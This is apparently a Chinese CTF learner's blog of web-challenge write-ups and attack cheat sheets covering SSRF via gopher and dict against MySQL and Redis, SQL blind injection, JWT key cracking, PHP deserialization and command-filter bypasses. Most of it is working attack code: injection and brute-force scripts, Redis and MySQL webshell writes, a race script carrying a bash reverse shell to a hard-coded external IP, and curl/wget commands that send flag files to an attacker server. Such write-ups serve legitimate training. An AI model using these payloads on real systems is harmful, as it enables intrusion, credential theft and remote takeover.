2021工控安全线上初赛

遭到黑客攻击!

打开wireshark,发现异常数据
img
发现是莫斯电码,解码以后就可以拿到flag

工控协议分析

这题也是赛后才做出来的,和18年的题目很像,看到有write var写入,设置筛选条件:

s7comm&&s7comm.param.func==0x05

img

然后拼凑起来即可

buu27

<?php
error_reporting(0);
session_save_path("/var/babyctf/");
session_start();
require_once "/flag";
highlight_file(__FILE__);
if($_SESSION['username'] ==='admin')
{
$filename='/var/babyctf/success.txt';
if(file_exists($filename)){
safe_delete($filename);
die($flag);
}
}
else{
$_SESSION['username'] ='guest';
}
$direction = filter_input(INPUT_POST, 'direction');
$attr = filter_input(INPUT_POST, 'attr');
$dir_path = "/var/babyctf/".$attr;
if($attr==="private"){
$dir_path .= "/".$_SESSION['username'];
}
if($direction === "upload"){
try{
if(!is_uploaded_file($_FILES['up_file']['tmp_name'])){
throw new RuntimeException('invalid upload');
}
$file_path = $dir_path."/".$_FILES['up_file']['name'];
$file_path .= "_".hash_file("sha256",$_FILES['up_file']['tmp_name']);
if(preg_match('/(\.\.\/|\.\.\\\\)/', $file_path)){
throw new RuntimeException('invalid file path');
}
@mkdir($dir_path, 0700, TRUE);
if(move_uploaded_file($_FILES['up_file']['tmp_name'],$file_path)){
$upload_result = "uploaded";
}else{
throw new RuntimeException('error while saving');
}
} catch (RuntimeException $e) {
$upload_result = $e->getMessage();
}
} elseif ($direction === "download") {
try{
$filename = basename(filter_input(INPUT_POST, 'filename'));
$file_path = $dir_path."/".$filename;
if(preg_match('/(\.\.\/|\.\.\\\\)/', $file_path)){
throw new RuntimeException('invalid file path');
}
if(!file_exists($file_path)) {
throw new RuntimeException('file not exist');
}
header('Content-Type: application/force-download');
header('Content-Length: '.filesize($file_path));
header('Content-Disposition: attachment; filename="'.substr($filename, 0, -65).'"');
if(readfile($file_path)){
$download_result = "downloaded";
}else{
throw new RuntimeException('error while saving');
}
} catch (RuntimeException $e) {
$download_result = $e->getMessage();
}
exit;
}
?>

1.伪造admin的session
2.创建一个success.txt
伪造admin的sessionn感觉可以先在本地创建一个,然后再传过去:

ssrf服务端请求伪造

SSRF简介

SSRF是一种由攻击者构造形成由服务器发起请求的一个漏洞,让服务器去请求通常请求不到的东西。一般用来在外网探测或攻击内网服务
实例代码

<?php
$url=$_GET['url'];
echo file_get_contents($url);
?>

SSRF相关函数

file_get_contents:能将url或者文件呈现给用户
fsockopen:能打开一个网络连接,实现对用户指定url数据的获取,传输原始数据
curl_exec:…..

SSRF利用

读取系统文件

file://伪协议:读取本地文件

file://C:/flag.txt

gopher://协议

gopher是一个信息查找系统

利用此协议可以攻击内网的FTP、Telnet、Redis、Mysql,可以进行get、post请求

利用方式

1.构造http get/post请求消息
2.对请求消息进行url编码
3.将编码后的字符串中的%0A替换为%0D%0A
4.将最终的字符串在进行一次URL编码
5.拼接协议头、请求地址
gopher转化脚本:

from urllib.parse import quote as urlencode

def gopher(data):#端口记得更换
stream = f"""POST /index.php HTTP/1.1
Host: 127.0.0.1:47852
Content-Type: application/x-www-form-urlencoded
Content-Length: {len(data)}
Connection: close

{data}""".replace("\n", "\r\n")
g = "gopher://127.0.0.1:47852/_" + urlencode(stream)
return urlencode(g)

print(gopher('a=1'))
作用

gopher可以自定义发送post以及get的请求内容

ssrf扫描端口

可以先看/etc/hosts看ip,然后扫描端口可以从1w-2w,看题目说明,没说就是扫6w个

HTTP请求走私

SSRF攻击mysql

原理:我们知道ssrf就是伪造服务端发起请求,这里就有个问题就是,为什么我们使用本地抓的包写入到gopher攻击数据包里面,可以打题目里面的?那就是因为在ssrf题目里面,我们发起的请求就相当于在题目的本地进行攻击了,所以效果是一样的

SSRF漏洞结合gopher系统攻击内网未授权mysql(即没有密码),并获取系统shell的方法

mysql通信协议

客户端连接服务器有三种方法:
1.unix套接字:只能在客户端和mysql服务器在同一台电脑上才行
2.内存共享/命名管道:window系统
3.TCP/IP套接字:是在任何系统下都可以使用的方式,也是使用最多的连接方式,即:mysql -h127.0.0.1 -uroot -proot
PS:这里不可以使用localhost,因为localhost使用的是unix的套接字

mysql客户端与服务器的交互过程

mysql客户端与服务器的交互主要分为两个阶段:
connection phase(连接阶段或者叫认证阶段)
command phase(命令阶段)
在连接阶段包括我首保和认证包,主要关注认证数据包

构造攻击数据包

1.使用tcpdump

tcpdump -ilo0 port 3306 -w sql.pcapng

2.使用wireshark打开存储了数据包的文件
3.接下来找到Login Request的包并右键单击Follow一下里面的TCP Stream
4.执行以下操作img

5.将上面的数据复制下来,使用一下脚本,构造gopher攻击包:

#encoding:utf-8
import sys
def result(s):
a=[s[i:i+2] for iin range(0,len(s),2)]
return "curl gopher://127.0.0.1:3306/_%" + "%".join(a)s='''十六进制数据流放在这里'''.replace('\n', '')
print(result(s)+'--output -')

6.运行脚本 ,执行脚本结果

GET SHELL

利用mysql写马:

select '<?php phpinfo(); ?>' into out file "/tmp/1.php";

然后使用gopher伪造,然后打过去
PS:如果题目权限给的很高,或者用了比较旧的mysql版本,说明就是要让你用这个办法,否则你写过去的马将会面临一个权限问题

如果没有写入权限为null,那么就是用log写马即可

SSRF攻击Redis

Redis通信方式

gopher发送redis请求

用以下脚本直接打,可替换内容,然后再urlencode一下即可

from urllib.parseimport quote as urlencode
defgopher():
stream = f"""*2
$4
auth
$6
123123
*2
$3
get
$4
name""".replace("\n", "\r\n")
g = "gopher://127.0.0.1:8000/_" + urlencode(stream)
return g
print("curl "+gopher())

备份crontab反弹shell

centos才能用

备份文件写马

如果redis与php在一起,可以直接写到/var/www/html/shell.php

def webshell():
s='''auth 123123
set mars "<?php eval($_POST[0]);?>"
config set dir /tmp/
config set dbfilename shell.php
save
quit'''
print(urlencode(gopher(s)))

DICT://的利用

爆破端口

url=dict://127.0.0.1:8000

通过回显看端口是否开启

爆破密码

url=dict://127.0.0.1:8000/auth;123123(密码)

通过回显看密码,密码一般是123456或者admin或者123123

备份文件写马

dict://127.0.0.1:8001/config:set:dbfilename:webshell.php
dict://127.0.0.1:8001/config:set:dir:/tmp
dict://127.0.0.1:8001/set:webshell:"\x3c\x3f\x70\x68\x70\x20\x70\x68\x70\x69\x6e\x66\x6f\x28\x29\x3b\x20\x3f\x3e"

主从复制RCE

使用两个工具:

https://github.com/n0b0dyCN/redis-rogue-server
https://github.com/Ridter/redis-rce

使用redis-rce加载redis-rogue-server-master的恶意模块exp.so,即可实现RCE

写无损文件

https://github.com/r35tart/RedisWriteFile

使用此软件联通即可写无损文件

SSRF Trick

绕过访问限制

对访问的限制

file协议+域名+读文件地址

file://localhost/var/www/html/config.php

1.过滤file,可使用File://大小写绕过试试
2.提交内容末尾添加/等内容可使用?或者#进行注释
3.url可以加参数绕过过滤

对本地的访问限制/对访问协议的限制

跳转/解析到127.0.0.1:
http://127.0.0.1.nip.io/flag.php

编码绕过:进制转换
http://0x7f.0.0.1/flag.php

特殊字符绕过
http://①②⑦.⓪.⓪.①/flag.php
http://[0:0:0:0:0:ffff:127.0.0.1]/flag.php
http://127。0。0。1/flag.php
http://127.1/flag.php
http://[::]:80/flag.php
http://127.0.0.1./flag.php

遇到需要127.0.0.1访问:直接使用以下内容进行绕过

X-Forwarded-For:127.0.0.1
X-Forwarded:127.0.0.1
Forwarded-For:127.0.0.1
Forwarded:127.0.0.1
X-Forwarded-Host:127.0.0.1
X-remote-IP:127.0.0.1
X-remote-addr:127.0.0.1
True-Client-IP:127.0.0.1
X-Client-IP:127.0.0.1
Client-IP:127.0.0.1
X-Real-IP:127.0.0.1
Ali-CDN-Real-IP:127.0.0.1
Cdn-Src-Ip:127.0.0.1
Cdn-Real-Ip:127.0.0.1
CF-Connecting-IP:127.0.0.1
X-Cluster-Client-IP:127.0.0.1
WL-Proxy-Client-IP:127.0.0.1
Proxy-Client-IP:127.0.0.1
Fastly-Client-Ip:127.0.0.1
True-Client-Ip:127.0.0.1

进制的转换

可以使用一些不同的进制替代ip地址,从而绕过WAF

利用DNS解析

如果你自己有域名的话,可以在域名上设置A记录,指向127.0.0.1。

利用@绕过

http://www.baidu.com@127.0.0.1与http://127.0.0.1请求是相同的

file_get_contents()中的trick

有关file_get_contents()函数的一个trick,可以看作是SSRF的一个黑魔法,当PHP的 file_get_contents()函数在遇到不认识的伪协议头时候会将伪协议头当做文件夹,造成目录穿越漏洞,这时候只需不断往上跳转目录即可读到根目录的文件。

httpsssss://../../../../../../etc/passwd

https://www.freebuf.com/articles/network/255456.html

PHP parse_url()

漏洞产生原因:

Parse_url和访问url是两件事,这两件事对url的处理存在差异

漏洞利用:

http://y1ng.vip\@flag.authenticator.das.ctf:80/则会访问到

flag.authenticator.das.ctf:80/

Apache SSRF

任意读取:

https://github.com/ev0A/ArbitraryFileReadList/

读配置文件,发现其他端口

无gopher和dict如何ssrf

使用soap反序列化可以发送post请求

<?php
$target = 'http://123.206.216.198/bbb.php';
$post_string = 'a=b&flag=aaa';
$headers = array(
'X-Forwarded-For: 127.0.0.1',
'Cookie: xxxx=1234'
);
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri' => "aaab"));

$aaa = serialize($b);
$aaa = str_replace('^^','%0d%0a',$aaa);
$aaa = str_replace('&','%26',$aaa);
echo $aaa;
?>

DNS重绑定

验证和访问分开,验证一个合法的域名,然后在这个域名写写一个重定向的指令
可以重定向的域名生成:

https://requestrepo.com/#/
https://lock.cmpxchg8b.com/rebinder.html

CTF中的内网渗透

flag一般不在拿shell的这个机器上
如果是有一个共同上传的地方,意味着upload目录下是一个777的权限,可以直接去扫获取别队伍上传的信息
对于打内网:
通过ifconfig看ip地址(windows)
通过/etc/hosts
首先扫描ip看是否有存活主机,再将所有存活主机ip列出来,
HTTP服务->扫服务(端口)

扫描工具:
masscan nmap goby等工具

getshell以后发现权限不够,可以使用ps(获取进程,看看运行了什么进程)
或者开netstat
自己再80端口,然后shell在8006端口该如何解决?
frp工具:

刷题记录

1127

可以看源码,所以直接查看源码

if (req.session.won >= 100)
{
console.log("you won")
const token = jwt.sign (
{
id : req.session.want_to_eat,
is_win : "true"
}, env.parsed.rockyou, {
expiresIn: 3600 * 12
}
)
res.cookie("token", token, {
maxAge: 3600 * 12,
httpOnly: true
});
req.session.is_win = "true"
res.redirect("/award")
return
}

// 如果圣诞老人赢了5次那么你就输了
if ( req.session.santa > 5 )
{
req.session.destroy()
res.render("failed")
return;
}

赢100次就胜利,显然不太可能,于是继续看看其他地方,这里发现session可以被player的属性赋值,那么如果我们将player这里就对won属性赋值>100不就可以了吗,初步推断可能存在原型链污染之类

app.get('/start', (req, res)=>{  
if ( player.name )
{
for (let i in player)
{
if (req.session.hasOwnProperty(i))
req.session[i] = player[i]
else {
res.end("Do you think i am stupid?")
player = {}
req.session.destroy()
return
}
}

但是在另一个地方:发现有对won的重新赋值,所以应该还要再考虑一下原型链污染的一个顺序问题

app.post('/start', (req, res)=>{
if ( !req.cookies.token || !req.session.name )
{
res.status(403).send("you are not allowed to visit this page")
return
}

if ( !req.session.won )
req.session.won = 0

if ( !req.session.santa )
req.session.santa = 0

最后再POST /这个路由中看到,果然有可以污染的地方

player[i] = tempPlayer[i]

捋一下思路:
先对POST /污染一下player ——>到POST /start 初始化session——>GET /start 对session进行赋值,将其won属性赋值给session
但是我又看了一下似乎这样还是不够的,/award中还有一个is_win要是true,这样

if (req.user.is_win !== 'true' || req.session.is_win !== 'true' )

向上看了一下,POST /start中有对这一项进行ture的赋值,所以应该还要再回来post /start中对这个进行赋值

首先把post污染一下那个won属性,然后把token复制回去替换一下去访问就可以发现player已经101分了

然后就有token让你跳转到/award

img

然后无事发生?、?

img 回去看看源码,这边似乎要注入,但是我不知道id在哪,感觉是要伪造jwt于是再看看==
    let patt = /union|like|pragma|savepoint|vacuum|detach|alter|attach|insert|update|release|rollback|load|create|drop|delete|explain|regexp|=|>|<|"|'/i
if ( req.user.id.match(patt) )
{
res.status(403).end("Never Trust Your User")
return
}

db.get(`SELECT ITEM,LOG FROM AWARD WHERE id=${req.user.id}`,function(err,row){
if (!row) {
res.render("reward", {"award": "", "log": ""})
return
}
if (row["ITEM"] && row["LOG"]){
res.render("reward", {"award": row["ITEM"], "message" : row["LOG"]} )
} else res.render("reward", {"award": "", "log": ""})
})
})

用工具发现出不来,于是在回去找找信息:发现是要用rockyou的字典才行

import jwt
jwt_str = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjIiLCJpc193aW4iOiJmYWxzZSIsImlhdCI6MTYzMDU3MzUzOSwiZXhwIjoxNjMwNjE2NzM5fQ.mAH_mgq1JvEtgyJ3CpfF0xN-7ca_scyUrbuFZzPOIXs"
path = "C:/Users/10452/Desktop/rockyou.txt"
alg = "HS256"

with open(path,encoding='utf-8') as f:
for line in f:
key_ = line.strip()
try:
jwt.decode(jwt_str,verify=True,key=key_,algorithms=["HS256"])
print('found key! --> ' + key_)
break
except(jwt.exceptions.ExpiredSignatureError, jwt.exceptions.InvalidAudienceError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.ImmatureSignatureError):
print('found key! --> ' + key_)
break
except(jwt.exceptions.InvalidSignatureError):
continue
else:
print("key not found!")

拿到key然后去换一下user看看源码这个看起来就是要盲注了吧
img

应该就是要用这个id来进行盲注了吧
img

那么接下来的思路就是构造sql注入语句,然后替换到id那边重新进行加密,但是每次要到这个/award都需要重新构造id,就要伪造jwt,这里就编写一下python脚本跑一下?
首先看看如何构造盲注语句:
根据他的结果,如果查询到就返回结果,查询不到就返回空好像,然后根据这个过滤内容,看起来不像是mysql,毕竟mysql没有vacuum这个东西吧,查了一下,这个是sqlite的东西,所以这题应该是sqlite盲注
盲注中的截取没咋过滤,就直接用substr就可以,然后比较符过滤了,很多,看了一下in没被过滤,所以这里考虑用in试试,由于引号都被过滤了,所以可以直接使用char函数进行绕过

import jwt
import requests
import string
url="http://a.y1ng.vip:1127/"
s=requests.session()
game="s%3AAUHzfM13c2l68I75rIKMDLtiU8GKtpxJ.H3ugRxCwtqH1Ey6%2F1IClRNwrt8Ba5uE0FSihnsXd2kE"

def jwt_boom():
jwt_str = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjIiLCJpc193aW4iOiJmYWxzZSIsImlhdCI6MTYzMDU3MzUzOSwiZXhwIjoxNjMwNjE2NzM5fQ.mAH_mgq1JvEtgyJ3CpfF0xN-7ca_scyUrbuFZzPOIXs"
path = "C:/Users/10452/Desktop/rockyou.txt"

with open(path,encoding='utf-8') as f:
for line in f:
key_ = line.strip()
try:
jwt.decode(jwt_str,verify=True,key=key_,algorithms=["HS256"])
print('found key! --> ' + key_)
break
except(jwt.exceptions.ExpiredSignatureError, jwt.exceptions.InvalidAudienceError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.ImmatureSignatureError):
print('found key! --> ' + key_)
break
except(jwt.exceptions.InvalidSignatureError):
continue
else:
print("key not found!")
def jwt_encode(payload_t):
json = {
"id": payload_t,
"is_win": "true",
"iat": 1630654737,
"exp": 1630697937
}
token = jwt.encode(json, "fuckoff123", algorithm='HS256')
return token
def ord_tran(s):
fin=""
for i in s:
fin +=f"{ord(i)},"
#print(f"chr({fin[:-1]})")
return f"char({fin[:-1]})"


def sql_injection(payload):
result=""
for i in range(1,10000):
for j in range(0,128):
payload_f=f"1 and char({j}) in (substr(({payload}),{i},1));--"
#print(payload_f)
token=jwt_encode(payload_f)
headers={
"cookie":f"game={game}; token={token}"
}
#print(headers)
r=s.get(url=url+'award',headers=headers).text

#print(r)
if "Turkey" in r:
result += chr(j)
print(result)
break


if __name__ == "__main__":
#jwt_boom() #key=fuckoff123
#payload="SELECT group_concat(name) FROM sqlite_master"#AWARD,sqlite_autoindex_AWARD_1,SECRET,sqlite_autoindex_SECRET_1
#ord_tran("SECRET")

#payload=f"SELECT group_concat(sql) FROM sqlite_master WHERE tbl_name in ({ord_tran('SECRET')})"#fl4ggg
payload=f"SELECT group_concat(fl4ggg) FROM SECRET"#almost,flag{f7f0f684-0abf-ffe1-c561-a186d17a0b1d}
sql_injection(payload)

sqlite注入:https://xz.aliyun.com/t/8627#toc-3

2023

一开始我输入任何的url都没用,一直说后缀不对,原来是要在url后面加一个png。。。。所以可以用file协议读一下源码,由于过滤了var,可以通过二次url编码进行绕过,为什么用?号呢。其实这里可以理解为一个分割的作用吧,?png不影响前面地址的访问

file:///%25%37%36ar/www/html/index.php?png
<?php
error_reporting(0);
if(isset($_GET['url'])){
$url = $_GET['url'];
if(preg_match("/flag|apache|conf|var|proc|log/i" ,$url)){
$dieMess = "Dangerous content.";
}
else{
$end = substr($url, strlen($url) - 3, strlen($url));
if($end === "png"){
$curlobj = curl_init($url);
curl_setopt($curlobj, CURLOPT_TIMEOUT, 200);
curl_setopt($curlobj, CURLOPT_URL, $url);
curl_setopt($curlobj, CURLOPT_HEADER, 0);
curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1);
$res = curl_exec($curlobj);
if(ord($res) < 0x80){
$dieMess = $res;
}

$httpCode = curl_getinfo($curlobj, CURLINFO_HTTP_CODE);
var_dump($httpCode);
if($httpCode < 300){
$down = curl_init($url);
$tmpFile = tempnam(sys_get_temp_dir(), 'image');
$resource = fopen($tmpFile, 'wb');
curl_setopt($down, CURLOPT_FILE, $resource);
curl_setopt($down, CURLOPT_TIMEOUT, 200);
curl_setopt($down, CURLOPT_URL, $url);
curl_setopt($down, CURLOPT_HEADER, 0);
curl_exec($down);
$filename = "./you_will_never_find_me_hiahiahia_and_my_duty_is_storage_tmp_file/" . md5(time()) . ".png";
copy($tmpFile, $filename);
@unlink($tmpFile);
if($dieMess == "")
$dieMess = "Your picture's colorful number is " . getMainColor($filename, '1') . ".";
@unlink($filename);
}
else{
$dieMess = "Woops, seem I can not visit it!";
}
}
else{
$dieMess = "Extension not allowed!";
}
}
}

所以应该是将tmpfile文件的内容赋值给filename中,然后访问即可,接下来就是找flag在哪里,可以猜一下是否在/flag或者/flag.txt~

1115

扫描一下 发现有source目录

require 'sinatra'
require 'base64'
require 'safe_regexp'

FLAG = File.open('/flag', "r").read # 是一个MD5,提交时请包裹上flag{}

String.class_eval do
def text
return [self].pack('H*')
end
end

set :public_folder, File.dirname(__FILE__) + '/static'

get '/' do
File.open('/app/app/index.html' , "r").read
end

get '/check/:regex' do
begin
regexp = Regexp.new(params['regex'].text)
p regexp
rescue
"False!"
return
end
begin
SafeRegexp.execute(regexp, :match?, FLAG, timeout: 3)
"OK!"
rescue
"False!"
end
end

get '/source' do
File.open(__FILE__ , "r").read
end

这题是正则表达式延时,直接打就行了~

require 'net/http'

CHALLENGE = 'http://a.y1ng.vip:1115'

String.class_eval do
def hex
res = ''
self.each_byte do |i|
res += "%02x" % i
end
return res
end
end

def random(len)
chars = ("a".."z").to_a + ("A".."Z").to_a + ("0".."9").to_a
s = ""
1.upto(len) do
s << chars[rand(chars.size - 1)]
end
s
end

def check_result(reg, suffix)
full_regexp = "^(?=" + reg + ")((.*)*)*" + suffix
p full_regexp
uri = URI(CHALLENGE + 'check/' + full_regexp.hex)
Net::HTTP.get_response(uri)
end

def leak(flag, r)
chars = '0123456789abcdef'
(0..15).each do |i|
if check_result(flag + chars[i], r).body["False"]
p flag + chars[i]
return leak(flag + chars[i], r)
end
end
end

r = random(10)+'$'
leak('', r)

2014

上面存在文件包含:
使用一下指令读取源码

?page=php://filter/convert.iconv.ASCII.UCS-2BE/resource=login.php
?page=php://filter/convert.iconv.ASCII.UCS-2BE/resource=index.php

得到以下内容:

<?php 
error_reporting(0);
if (isset($_GET['d3bug']))
{ phpinfo(); }
if (isset($_GET['page']))
{ $page = $_GET['page'];
$filter = "/\.\.|base|file|gopher|http|ftp|phar|base|string|data|zip|compress|base|decode|read|pear|rot|crypt|pear|utf|flag/i";
if (preg_match( $filter , $page) )
{ die("hacker"); } include $page; }
else
{ echo "<script>location.href='./?page=login.php'</script>"; }

然后看到phpinfo()里面,可以使用session文件包含,因为PHP_SESSION_UPLOAD_PROGRESS是有开的

import requests
import threading
sess_id="tlife"
s=requests.session()
url="http://"
def session_upload():
while True:
res= s.post(
url=f"{url}/?page=/tmp/session/sess_{sess_id}",
data={
'PHP_SESSION_UPLOAD_PROGRESS': "<?=`bash -c 'bash -i >& /dev/tcp/110.42.133.120/9999 0>&1'`;?>"
},
files={"file": ('xxx.txt', open("shell.txt", "r"))},
cookies={'PHPSESSID':sess_id}
)
for i in range(100):
thread=threading.Thread(target=session_upload)
thread.start()

就可以了~

1119

看了一下过滤了最重要的info库,就意味着大概率是无列名盲注了,然后过滤了一些比较符号,还有like、rlike等正则匹配函数,那么本题似乎只能用case when了的感觉
接下

判断注入类型

布尔盲注,回显分为

测试语句::root'and/**/case/**/1/**/when/**/1/**/then/**/1/**/else/**/0/**/end#
true:welcomt admin
false:wrong

编写盲注脚本:

构造注入语句

这题的截取函数基本都过滤了,所以这里使用
img

接下来就是跑表名,由于in库被过滤了,这里试了一下 发现

select group_concat(table_name) from sys.schema_table_statistics;

是可以的img

就可以跑出表名了
接下来使用union无列名盲注

select a.1 from (select 1,2 union select * from `SeCrrreT`)a limit 1,2

得到表名以后 直接select * from SeCrrreT跑不出来,所以可以猜想肯定不止一行,所以后面要加limit 然后用无列名盲注,去尝试字段数

import requests
import string
url="http://a.y1ng.vip:1119/"
s=requests.session()
def sql_injection(payload):
data1=""
for i in range(1,100):
for j in range(32,128):
payload_tr=f"root'and case ascii(reverse(left(({payload}),{i}))) when {j} then 1 else 0 end#".replace(" ","/**/")
data={
"username":payload_tr,
"password":"1141"
}
r=s.post(url=url,data=data).text
#print(r)
#print(data)
if "Welcome Admin!" in r:
data1+=chr(j)
print(data1)
break



if __name__=="__main__":
#payload="database()"#ctfgame
#payload="select group_concat(table_name) from sys.schema_table_statistics"#users,SeCrrreT
payload="select a.1 from (select 1,2 union select * from `SeCrrreT`)a limit 1,2"#flag{fab99a66-23db-47b1-9db4-9262664d76a8}
sql_injection(payload)

2021祥云杯web题解

前言

就做了俩题,另外一题还是赛后半小时后才做出来,太太太太太太太太太太太菜了

ezyii

网上有现成的链子 拿到直接打就行了,后面在研究一下过程吧

<?php
namespace Codeception\Extension{
use Faker\DefaultGenerator;
use GuzzleHttp\Psr7\AppendStream;
class RunProcess{
protected $output;
private $processes = [];
public function __construct(){
$this->processes[]=new DefaultGenerator(new AppendStream());
$this->output=new DefaultGenerator('jiang');
}
}
echo urlencode(serialize(new RunProcess()));
}

namespace Faker{
class DefaultGenerator
{
protected $default;

public function __construct($default = null)
{
$this->default = $default;
}
}
}
namespace GuzzleHttp\Psr7{
use Faker\DefaultGenerator;
final class AppendStream{
private $streams = [];
private $seekable = true;
public function __construct(){
$this->streams[]=new CachingStream();
}
}
final class CachingStream{
private $remoteStream;
public function __construct(){
$this->remoteStream=new DefaultGenerator(false);
$this->stream=new PumpStream();
}
}
final class PumpStream{
private $source;
private $size=-10;
private $buffer;
public function __construct(){
$this->buffer=new DefaultGenerator('j');
include("closure/autoload.php");
$a = function(){system('cat /flag.txt');phpinfo(); };
$a = \Opis\Closure\serialize($a);
$b = unserialize($a);
$this->source=$b;
}
}
}

安全检测

这题的就在于扫扫扫扫描。。。。。。也就是信息收集

首先是

.login.php.swp

有源码,然后username可控

<?php
//error_reporting(0);
ob_start();
session_start();

function check3($username){
$pattern = "\/\*|\*|\.\.\/|\.\/|<|>|\?|\*|load_file|outfile|dumpfile|sub|hex|where";
$pattern .= "|file_put_content|file_get_content|fwrite|curl|system|eval|assert";
$pattern .= "|select|insert|update|delete|load_file|into outfile|drop";
$pattern .="|passthru|exec|system|chroot|scandir|chgrp|chown|shell_exec|proc_open|proc_get_status|popen|ini_alter|ini_restore";
$pattern .="|`|openlog|syslog|readlink|symlink|popepassthru|stream_socket_server|assert|pcntl_exec|http|.php|.ph|\@|:\/\/|flag";
$pattern .="|file|dict|gopher";

$vpattern = explode("|",$pattern);

foreach($vpattern as $value){
if (preg_match( "/$value/i", $username )){
echo "检测到恶意字符";
exit(0);
}
}
}

$username=file_get_content("php://input");
check3($username);
$username=json_decode($username)->username;


if($username){
$_SESSION['user1']=$username;
Header("Location:./index.php");
ob_end_flush();
exit(0);
}


?>

可以发现session_start()函数,username又存入session中,大概率就是session文件包含了,于是再找找哪里能继续包含内容
img
在后面输入url窗口那里,发现输入这个,可以读到include123.php

127.0.0.1/admin/include123.php
img 然后这里就有一个include函数,那么就可以实现session文件包含了

解法一:

利用username进行session文件包含,由于后面使用了json_decode,所以我们可以使用unioncode编码输入内容,这样就就可以绕过前面的过滤了
PS:一开始一直没成功,后面才知道是实体化编码的问题,输入的内容虽然可以正常显示 但已经不是原本的东西了,其中就是<这个编码错误了,这个是学长给的unioncode编码脚本,用这个就行了

def UNICODE(payload):
#unicode
res_payload = ""
for i in payload:
i = "\\u00{}".format(hex(ord(i))[2:])
res_payload += i
print("[+]'{}' Convert to UNICDOE: \"{}\"".format(payload,res_payload))

直接上网站加密就没成功了。。看下面这个
img

payload

http://127.0.0.1/admin/include123.php?u=/tmp/sess_xxxx(你的session)

解法二:

可以看到我们输入的链接最终也会在session文件里面出现,所以此时我们可以利用这个链接进行文件包含

http://127.0.0.1/admin/include123.php?u=/tmp/sess_xxxx(你的session)&a=<?system('ls');?>

但是需要注意的是不能有空格,会被直接截断!,所以后面可以使用这个进行绕过

cat${IFS}$/fl""ag
img img

小结

还是太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太菜了,要走的路还很远,好好加油
反思一下这次这个安全监测应该可以很快做出来的,主要是信息收集得不行,太慢了,而且换了好几个工具有必要更新一下字典之类的了!

命令执行和绕过

高危函数:

system()、exec()、shell_exec()、passthru()、pctnl_exec()、popen()、proc_open() 注:反引号是shell_exec()的别名

代码注入

程序过滤不严谨,导致用户可以将代码注入并执行。高危函数:eval()、assert()、preg_replace()、call_user_func()等等和命令执行的区别是:一个执行系统命令,一个执行PHP代码

bypass

过滤空格

$IFS
${IFS}
$IFS$9
<
<>
{cat,flag.php}// 用逗号实现了空格功能,需要用{}括起来
%20
%09

过滤某关键字

ca\t y1n\g.php反斜线绕过
cat y1”ng.php 两个单引号绕过
echo “Y2F0IC9mbGFn” | base64 -d | bash#base64 编码绕过
echo “6361742079316E672E706870” | xxd -r -p | bash#hex 编码绕过
cat y1 [n] g.php用[]匹配
cat y1n*用*匹配任意
cat y1n?
cat y1{a..z}g
more tlif3
less tlif3
head tlif3
tail tlif3
nl f*
m4 *

escapeshellcmd+escapeshellarg绕过

无参数rce

shell_exec等无回显函数

判断方法

ls;sleep(3)

复制法

copy flag.php flag.txt
mv flag.php flag.txt
cat flag.php > flag.txt

压缩法

tar cvf flag.tar flag.php #tar压缩
tar zcvf flag.tar.gz flag.php #tar解压
zip flag.zip flag.php #zip压缩
unzip flag.zip #zip解压

写shell法

echo 3c3f706870206576616c28245f504f53545b3132335d293b203f3e|xxd -r -ps > webshell.php
//echo "<?php @eval(\$_POST[123]); ?>" > webshell.php

利用vps反弹shell

法一

在自己的公网服务器站点根目录写入php文件,内容如下:
<!-- record.php -->
<?php
$data =$_GET['data'];
$f = fopen("flag.txt", "w");
fwrite($f,$data);
fclose($f);
?>

在目标服务器的测试点可以发送下面其中任意一条请求进行测试

curl http://*.*.*.**/record.php?data=`cat flag.php|base64`
wget http://*.*.*.*/record.php?data=`cat flag.php|base64`

法二

1.在公网服务器监听监听端口

nc -lp 9999(端口号)

2.向目标服务器发起http请求,执行curl命令

curl ip:9999

参考https://bbs.huaweicloud.com/blogs/detail/286904

法三,外带flag

curl -d @/home/www-data/res.txt http://xx:xxx
curl http://xx:xx/?d=`php -r 'file_'|base64`
echo `ps`>/home/www-data/res.txt

第一条是读取文件内容,第二条是执行命令,可以将执行命令的结果保存为一个文件,然后再去进行读取

nodejs RCE

1.child_process

child_process是用来执行系统命令模块

require("child_process").exec("sleep 3");
require("child_process").execSync("sleep 3");
require("child_process").execFile("/bin/sleep",["3"]); //调用某个可执行文件,在第二个参数传args
require("child_process").spawn('sleep', ['3']);
require("child_process").spawnSync('sleep', ['3']);
require("child_process").execFileSync('sleep', ['3']);

2.nodejs中的命令执行过滤关键字

16进制编码绕过

require("child_process")["exe\x63Sync"]("curl 127.0.0.1:1234")

unicode编码

require("child_process")["exe\u0063Sync"]("curl 127.0.0.1:1234")

加号拼接

require('child_process')['exe'%2b'cSync']('curl 127.0.0.1:1234')

模板字符串

require('child_process')[`${`${`exe`}cSync`}`]('curl 127.0.0.1:1234')

concat连接

require("child_process")["exe".concat("cSync")]("curl 127.0.0.1:1234")

base64编码

eval(Buffer.from('Z2xvYmFsLnByb2Nlc3MubWFpbk1vZHVsZS5jb25zdHJ1Y3Rvci5fbG9hZCgiY2hpbGRfcHJvY2VzcyIpLmV4ZWNTeW5jKCJjdXJsIDEyNy4wLjAuMToxMjM0Iik=','base64').toString())

Obejct.keys

